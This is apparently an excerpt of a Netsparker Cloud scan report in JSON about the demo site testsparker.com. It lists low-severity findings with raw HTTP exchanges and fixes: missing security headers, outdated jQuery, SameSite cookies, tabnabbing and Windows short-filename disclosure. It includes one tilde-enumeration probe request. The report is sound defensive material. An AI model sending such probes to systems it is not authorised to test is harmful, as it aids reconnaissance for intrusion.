application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M%2fHadQgN1lyb6gNWlfovE&__VIEWSTATEGENERATOR=CA0B0334","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M/HadQgN1lyb6gNWlfovE","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CA0B0334","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.007500000000007,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a missing X-Frame-Options header which means that this website could be at risk of a clickjacking attack.

\n

The X-Frame-Options HTTP header field indicates a policy that specifies whether the browser should render the transmitted resource within a frame or an iframe. Servers can declare this policy in the header of their HTTP responses to prevent clickjacking attacks, which ensures that their content is not embedded into other pages or frames.

","Impact":"
\n

Clickjacking is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on a framed page when they were intending to click on the top level page. Thus, the attacker is \"hijacking\" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both.

\n

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.

\n
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
\n
    \n
  • Sending the proper X-Frame-Options in HTTP response headers that instruct the browser to not allow framing from other domains.\n
      \n
    • X-Frame-Options: DENY  It completely denies to be loaded in frame/iframe.
    • \n
    • X-Frame-Options: SAMEORIGIN It allows only if the site which wants to load has a same origin.
    • \n
    • X-Frame-Options: ALLOW-FROM URL It grants a specific URL to load itself in a iframe. However please pay attention to that, not all browsers support this.
    • \n
    \n
  • \n
  • Employing defensive code in the UI to ensure that the current frame is the most top level window.
  • \n
\n
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/*~1*%5ca.aspx?aspxerrorpath=/","Type":"WindowsShortFilename","Name":"Windows Short Filename","Severity":"Low","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A7","Wasc":"34","Cwe":"425","Capec":"87","Pci31":"6.5.8","Pci32":"6.5.8","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"OPTIONS","Content":"OPTIONS /*~1*%5ca.aspx?aspxerrorpath=/ HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 0\r\n\r\n","Parameters":[{"Name":"aspxerrorpath","Type":"Querystring","Value":"/","Vulnerable":false}]},"HttpResponse":{"StatusCode":404,"Duration":93.74560000000001,"Content":"HTTP/1.1 404 Not Found\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 1245\r\nContent-Type: text/html\r\nDate: Wed, 23 Aug 2017 07:46:10 GMT\r\n\r\n\r\n\r\n\r\n\r\n404 - File or directory not found.\r\n\r\n\r\n\r\n

Server Error

\r\n
\r\n
\r\n

404 - File or directory not found.

\r\n

The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.

\r\n
\r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a Windows short file/folder name disclosure.

The vulnerability is caused by the tilde character (~) with the old DOS 8.3 name convention in an HTTP request. It allows a remote attacker to disclose file and folder names that is not supposed to be accessible.

","Impact":"
Attackers could find important files that are normally not accessible from the outside and gain intelligence about the application infrastructure. This may cause the leakage of files containing sensitive information such as credentials, configuration files and maintenance scripts.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
In order to disable short names creation, add a registry key named NtfsDisable8dot3NameCreation to HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem and set its value to \"1\".
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"JqueryOutOfDate","Name":"Out-of-date Version (jQuery)","Severity":"Information","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A9","Wasc":"","Cwe":"","Capec":"310","Pci31":"6.2","Pci32":"6.2","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 178\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M%2fHadQgN1lyb6gNWlfovE&__VIEWSTATEGENERATOR=CA0B0334","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M/HadQgN1lyb6gNWlfovE","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CA0B0334","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.007500000000007,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Identified Version","Value":"2.0.2"},{"Name":"Latest Version","Value":"2.2.4"},{"Name":"Vulnerability Database","Value":"Result is based on 24.05.2017 vulnerability database content."}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified the target web site is using jQuery and detected that it is out of date.

","Impact":"
Since this is an old version of the software, it may be vulnerable to attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

Please upgrade your installation of jQuery to the latest stable version.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"MissingXssProtectionHeader","Name":"Missing X-XSS-Protection Header","Severity":"Information","Certainty":100,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":187.5028,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; path=/; HttpOnly\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:21 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a missing X-XSS-Protection header which means that this website could be at risk of a Cross-site Scripting (XSS) attacks.

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Add the X-XSS-Protection header with a value of \"1; mode= block\".
  • X-XSS-Protection: 1; mode=block
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"SameSiteCookieNotImplemented","Name":"SameSite Cookie Not Implemented","Severity":"Information","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 178\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M%2fHadQgN1lyb6gNWlfovE&__VIEWSTATEGENERATOR=CA0B0334","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M/HadQgN1lyb6gNWlfovE","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CA0B0334","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.007500000000007,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Identified Cookie(s)","Value":"TestCookie"}],"KnownVulnerabilities":[],"Description":"

Cookies are typically sent to third parties in cross origin requests. This can be abused to do CSRF attacks. Recently a new cookie attribute named SameSite was proposed to disable third-party usage for some cookies, to prevent CSRF attacks.

Same-site cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.

","Impact":"","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

The server can set a same-site cookie by adding the SameSite=... attribute to the Set-Cookie header:

Set-Cookie: key=value; SameSite=strict

There are two possible values for the same-site attribute:

  • Lax
  • Strict

In the strict mode, the cookie is not sent with any cross-site usage even if the user follows a link to another website. Lax cookies are only sent with a top-level get request.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/About.aspx","Type":"ReverseTabnabbing","Name":"[Possible] Phishing by Navigating Browser Tabs","Severity":"Low","Certainty":100,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A5","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST /About.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/About.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 1120\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTg1Njc5NzI2OQ9kFgJmD2QWAgIDD2QWAgIFD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFhQUNCg0KPGxpIHN0eWxlPSJtYXJnaW4tbGVmdDowIj48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDEpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvR2FicmllbFNoZWFyLmpwZyIgLz48L2E%2bPHNwYW4gY2xhc3M9InNwYW5kZXNjIiBpZD0ic3BhbjEiPjwvc3Bhbj48L2xpPjxsaSA%2bPGEgb25jbGljaz0ic29hcFJlcXVlc3RlcigyKTsiIHRpdGxlPSJJZiB5b3Ugd2FudCB0byBzZWUgZGV0YWlscywgY2xpY2sgdG8gaW1hZ2UuIiBocmVmPSIjc29hcFJlcXVlc3RlclJ1bm5lZCI%2bPGltZyBzcmM9Ii9zdGF0aWNzL1N0YW5sZXlKb2Jzb24uanBnIiAvPjwvYT48c3BhbiBjbGFzcz0ic3BhbmRlc2MiIGlkPSJzcGFuMiI%2bPC9zcGFuPjwvbGk%2bPGxpID48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDQpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvQWdlbnRKLlQuUm9iZXJ0cy5qcGciIC8%2bPC9hPjxzcGFuIGNsYXNzPSJzcGFuZGVzYyIgaWQ9InNwYW40Ij48L3NwYW4%2bPC9saT5kGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRA89ysfk6sLMvad2MrxRyeQAusOIs%2bD7Rxfalg019c7g%3d%3d&__VIEWSTATEGENERATOR=E809BCA5","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTg1Njc5NzI2OQ9kFgJmD2QWAgIDD2QWAgIFD2QWAgIDD2QWAgIBDxYCHglpbm5lcmh0bWwFhQUNCg0KPGxpIHN0eWxlPSJtYXJnaW4tbGVmdDowIj48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDEpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvR2FicmllbFNoZWFyLmpwZyIgLz48L2E+PHNwYW4gY2xhc3M9InNwYW5kZXNjIiBpZD0ic3BhbjEiPjwvc3Bhbj48L2xpPjxsaSA+PGEgb25jbGljaz0ic29hcFJlcXVlc3RlcigyKTsiIHRpdGxlPSJJZiB5b3Ugd2FudCB0byBzZWUgZGV0YWlscywgY2xpY2sgdG8gaW1hZ2UuIiBocmVmPSIjc29hcFJlcXVlc3RlclJ1bm5lZCI+PGltZyBzcmM9Ii9zdGF0aWNzL1N0YW5sZXlKb2Jzb24uanBnIiAvPjwvYT48c3BhbiBjbGFzcz0ic3BhbmRlc2MiIGlkPSJzcGFuMiI+PC9zcGFuPjwvbGk+PGxpID48YSBvbmNsaWNrPSJzb2FwUmVxdWVzdGVyKDQpOyIgdGl0bGU9IklmIHlvdSB3YW50IHRvIHNlZSBkZXRhaWxzLCBjbGljayB0byBpbWFnZS4iIGhyZWY9IiNzb2FwUmVxdWVzdGVyUnVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvQWdlbnRKLlQuUm9iZXJ0cy5qcGciIC8+PC9hPjxzcGFuIGNsYXNzPSJzcGFuZGVzYyIgaWQ9InNwYW40Ij48L3NwYW4+PC9saT5kGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRA89ysfk6sLMvad2MrxRyeQAusOIs+D7Rxfalg019c7g==","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"E809BCA5","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":100.0078,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 11457\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:27 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n\r\n

About

\r\n

\r\n Hello\r\n visitor\r\n

\r\n

\r\n Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus.\r\n\r\n\r\n

\r\nMission\r\n
    \r\n
  1. Inform users to protect them from common mistakes.
  2. \r\n
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. \r\n
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. \r\n
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. \r\n
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. \r\n
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. \r\n
  13. Remain a neutral informative resource about Bitcoin.
  14. \r\n
\r\n\r\n \r\n\r\n
\r\n

Our Teams

\r\n
\r\n
    \r\n\r\n
\r\n
\r\n
\r\n
\r\n
\r\n
\r\n\r\n
\r\n\t\t\t

Follow us

\r\n\t\t\t
\r\n \r\n \"Twitter\" \r\n \r\n\t\t\t\t\r\n \"Facebook\" \r\n \r\n \r\n \"Linkedin\" \r\n \r\n \r\n \"Google \r\n \r\n \r\n \"RSS\" \r\n \r\n\t\t\t
\r\n\t\t
\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"External Links","Value":"http://twitter.com/testsparker, http://facebook.com/testsparker, http://www.linkedin.com/company/testsparker, http://gplus.to/testsparker, http://feeds.feedburner.com/testsparker"}],"KnownVulnerabilities":[],"Description":"

Opened windows through normal hrefs with target=\"_blank\" can modify window.opener.location and replace the parent webpage with something else, even on a different origin.

While this doesn't allow script execution, it does allow phishing attacks that silently replace the parent tab.

","Impact":"

If the links lack of rel=\"noopener noreferrer\" attribute, third party site can change the URL of source tab using window.opener.location.assign and trick the user as if he is still in a trusted page and lead him to enter his secret information or credentials to this malicious copy.

","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

To prevent pages from abusing window.opener, use rel=noopener. This ensures window.opener is null in Chrome 49 and Opera 36.

For older browsers and in Firefox, you could use rel=noreferrer which also disables the Referer HTTP header.

<a href=\"...\" target=\"_blank\" rel=\"noopener noreferrer\">...</a>
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"SubResourceIntegrityNotImplemented","Name":"Subresource Integrity (SRI) Not Implemented","Severity":"Information","Certainty":100,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 178\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M%2fHadQgN1lyb6gNWlfovE&__VIEWSTATEGENERATOR=CA0B0334","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M/HadQgN1lyb6gNWlfovE","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CA0B0334","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.007500000000007,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Identified Sub Resource(s)","Value":"http://ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js"}],"KnownVulnerabilities":[],"Description":"

Subresource Integrity (SRI) provides a mechanism to check integrity of the resource hosted by third parties like Content Delivery Networks (CDNs) and verifies that the fetched resource has been delivered without unexpected manipulation.

